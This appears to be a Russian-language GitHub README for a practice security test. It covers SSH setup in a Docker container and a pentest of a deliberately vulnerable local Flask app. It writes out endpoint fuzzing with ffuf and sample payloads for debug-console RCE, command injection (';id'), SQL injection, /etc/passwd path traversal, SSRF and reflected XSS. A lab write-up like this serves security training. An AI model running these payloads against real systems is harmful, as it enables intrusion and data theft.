Skip to content

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

5 Commits
 
 

Repository files navigation

docker-security-lab

Задание 1

Мое окружение OS: Windows 11 Docker Desktop 4.74.0 Образ: winebrute/testcase1 (Ubuntu 24.04.3 LTS)

  1. Запуск контейнера
docker pull winebrute/testcase1
docker run -it winebrute/testcase1 /bin/bash
  1. Создание пользователя
useradd -m -s /bin/bash testuser
passwd testuser
  1. SSH
service ssh start
ssh testuser@localhost

Для подключения с хост-машины контейнер запускается с пробросом порта: docker run -it -p 2222:22 winebrute/testcase1 /bin/bash ssh testuser@localhost -p 2222

Результат результат

Задание 2

Мое окружение Windows 11, Docker Desktop 4.74.0 Запуск: docker run -p 5000:5000 winebrute/testcase2 Сервер: Flask / Werkzeug 3.1.3 / Python 3.9.24, debug mode on

Далее перебираем через ffuf:

ffuf -u http://localhost:5000/FUZZ -w common.txt

и находим 8 эндпоинтов: /admin, /console, /fetch, /help, /login, /ping, /readfile, /search. image

Теперь об уязвимостях:

  1. RCE - Werkzeug Debug Console Приложение запущено с debug=True, консоль /console открыта публично. PIN-код виден в stdout контейнера: 114-684-599. После ввода PIN выполняется произвольный Python-код:
__import__('os').popen('id').read()
# uid=0(root) gid=0(root) groups=0(root)

image

  1. Command Injection /ping конкатенирует параметр host в системный вызов без санитизации:
GET /ping?host=127.0.0.1;id
→ uid=0(root) gid=0(root) groups=0(root)

image

  1. SQL Injection /login уязвим к инъекции в поле username:
POST /login
username=admin'--&password=anything
Welcome admin! Admin: True

image

  1. Path Traversal /readfile пропускает ../ без фильтрации: GET /readfile?filename=../../../../etc/passwd
This is a test file

image

  1. SSRF /fetch выполняет запрос по произвольному URL: GET /fetch?url=http://127.0.0.1:5000/admin Fetched: Invalid token: Not enough segments image

  2. Reflected XSS /search отражает ввод в HTML без экранирования:

Search Results for: test' OR '1'='1

image

  1. Information Disclosure Заголовок Server: Werkzeug/3.1.3 Python/3.9.24 раскрывает стек PIN отладчика в stdout Полные стек-трейсы при ошибках

About

Выполнял практическое тестовое — настройка SSH в Docker-контейнере и pentest веб-приложения с документированием найденных уязвимостей

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors